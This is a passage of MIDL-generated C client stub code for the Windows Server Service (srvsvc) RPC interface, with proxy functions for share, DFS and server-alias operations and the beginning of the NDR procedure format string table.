[size_is][out] */ WCHAR *Outbuf,\n    /* [range][in] */ DWORD OutbufLen,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  34,\n                  0,\n                  ServerName,\n                  Name,\n                  Outbuf,\n                  OutbufLen,\n                  NameType,\n                  Flags);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nlong NetprNameCompare( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name1,\n    /* [string][in] */ WCHAR *Name2,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  35,\n                  0,\n                  ServerName,\n                  Name1,\n                  Name2,\n                  NameType,\n                  Flags);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareEnumSticky( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSHARE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  36,\n                  0,\n                  ServerName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareDelStart( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved,\n    /* [out] */ PSHARE_DEL_HANDLE ContextHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  37,\n                  0,\n                  ServerName,\n                  NetName,\n                  Reserved,\n                  ContextHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareDelCommit( \n    /* [out][in] */ PSHARE_DEL_HANDLE ContextHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  38,\n                  0,\n                  ContextHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nDWORD NetrpGetFileSecurity( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ShareName,\n    /* [string][in] */ WCHAR *lpFileName,\n    /* [in] */ SECURITY_INFORMATION RequestedInformation,\n    /* [out] */ PADT_SECURITY_DESCRIPTOR *SecurityDescriptor)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  39,\n                  0,\n                  ServerName,\n                  ShareName,\n                  lpFileName,\n                  RequestedInformation,\n                  SecurityDescriptor);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD NetrpSetFileSecurity( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ShareName,\n    /* [string][in] */ WCHAR *lpFileName,\n    /* [in] */ SECURITY_INFORMATION SecurityInformation,\n    /* [in] */ PADT_SECURITY_DESCRIPTOR SecurityDescriptor)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  40,\n                  0,\n                  ServerName,\n                  ShareName,\n                  lpFileName,\n                  SecurityInformation,\n                  SecurityDescriptor);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerTransportAddEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPTRANSPORT_INFO Buffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  41,\n                  0,\n                  ServerName,\n                  Level,\n                  Buffer);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum42NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  42,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNET_API_STATUS NetrDfsGetVersion( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out] */ DWORD *Version)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  43,\n                  0,\n                  ServerName,\n                  Version);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsCreateLocalPartition( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *ShareName,\n    /* [in] */ GUID *EntryUid,\n    /* [string][in] */ WCHAR *EntryPrefix,\n    /* [string][in] */ WCHAR *ShortName,\n    /* [in] */ LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n    /* [in] */ int Force)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  44,\n                  0,\n                  ServerName,\n                  ShareName,\n                  EntryUid,\n                  EntryPrefix,\n                  ShortName,\n                  RelationInfo,\n                  Force);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsDeleteLocalPartition( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  45,\n                  0,\n                  ServerName,\n                  Uid,\n                  Prefix);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsSetLocalVolumeState( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long State)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  46,\n                  0,\n                  ServerName,\n                  Uid,\n                  Prefix,\n                  State);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum47NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  47,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNET_API_STATUS NetrDfsCreateExitPoint( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long Type,\n    /* [range][in] */ DWORD ShortPrefixLen,\n    /* [size_is][out] */ WCHAR *ShortPrefix)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  48,\n                  0,\n                  ServerName,\n                  Uid,\n                  Prefix,\n                  Type,\n                  ShortPrefixLen,\n                  ShortPrefix);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsDeleteExitPoint( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [in] */ unsigned long Type)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  49,\n                  0,\n                  ServerName,\n                  Uid,\n                  Prefix,\n                  Type);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsModifyPrefix( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ GUID *Uid,\n    /* [string][in] */ WCHAR *Prefix)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  50,\n                  0,\n                  ServerName,\n                  Uid,\n                  Prefix);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsFixLocalVolume( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *VolumeName,\n    /* [in] */ unsigned long EntryType,\n    /* [in] */ unsigned long ServiceType,\n    /* [string][in] */ WCHAR *StgId,\n    /* [in] */ GUID *EntryUid,\n    /* [string][in] */ WCHAR *EntryPrefix,\n    /* [in] */ LPNET_DFS_ENTRY_ID_CONTAINER RelationInfo,\n    /* [in] */ unsigned long CreateDisposition)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  51,\n                  0,\n                  ServerName,\n                  VolumeName,\n                  EntryType,\n                  ServiceType,\n                  StgId,\n                  EntryUid,\n                  EntryPrefix,\n                  RelationInfo,\n                  CreateDisposition);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrDfsManagerReportSiteInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][out][in] */ LPDFS_SITELIST_INFO *ppSiteInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  52,\n                  0,\n                  ServerName,\n                  ppSiteInfo);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerTransportDelEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPTRANSPORT_INFO Buffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  53,\n                  0,\n                  ServerName,\n                  Level,\n                  Buffer);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerAliasAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_ALIAS_INFO InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  54,\n                  0,\n                  ServerName,\n                  Level,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerAliasEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSERVER_ALIAS_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ LPDWORD TotalEntries,\n    /* [unique][out][in] */ LPDWORD ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  55,\n                  0,\n                  ServerName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerAliasDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_ALIAS_INFO InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  56,\n                  0,\n                  ServerName,\n                  Level,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareDelEx( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO ShareInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  57,\n                  0,\n                  ServerName,\n                  Level,\n                  ShareInfo);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\nextern const GENERIC_BINDING_ROUTINE_PAIR BindingRoutines[ GENERIC_BINDING_TABLE_SIZE ];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING ms2Dsrvsvc__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure Opnum0NotUsedOnWire */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 16 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 18 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum1NotUsedOnWire */\n\n/* 30 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 32 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 36 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 38 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 40 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 42 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 44 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 46 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 48 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 50 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 54 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 58 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum2NotUsedOnWire */\n\n/* 60 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 62 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 66 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 68 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 70 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 72 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 78 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 80 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 82 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 86 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 88 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum3NotUsedOnWire */\n\n/* 90 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 92 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 96 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 98 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 100 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 108 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 110 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 112 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 114 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 116 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 118 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum4NotUsedOnWire */\n\n/* 120 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 122 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 126 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 128 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 130 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 132 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 134 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 138 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 140 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 146 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum5NotUsedOnWire */\n\n/* 150 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 152 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 156 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 158 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 160 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 162 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 168 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 170 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 176 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum6NotUsedOnWire */\n\n/* 180 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 186 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 188 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 190 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 194 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 196 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 198 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 200 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 202 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum7NotUsedOnWire */\n\n/* 210 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 216 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 220 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 226 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 228 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 230 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 232 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 234 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 236 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetrConnectionEnum */\n\n/* 240 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 242 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 246 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 248 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 250 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 252 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 254 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 256 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 258 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 260 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 262 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 264 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 266 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 272 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 276 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Qualifier */\n\n/* 278 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 280 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 282 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 284 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 286 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 288 */\tNdrFcShort( 0xcc ),\t/* Type Offset=204 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 290 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 292 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 294 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 296 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 298 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 300 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 302 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 304 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 306 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 308 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 310 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileEnum */\n\n/* 314 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 316 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 320 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 322 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 324 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 326 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 328 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 330 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 332 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 334 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 336 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 338 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 340 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 342 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 346 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 350 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BasePath */\n\n/* 352 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 354 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 356 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 358 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 360 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 362 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 364 */\tNdrFcShort( 0x11b 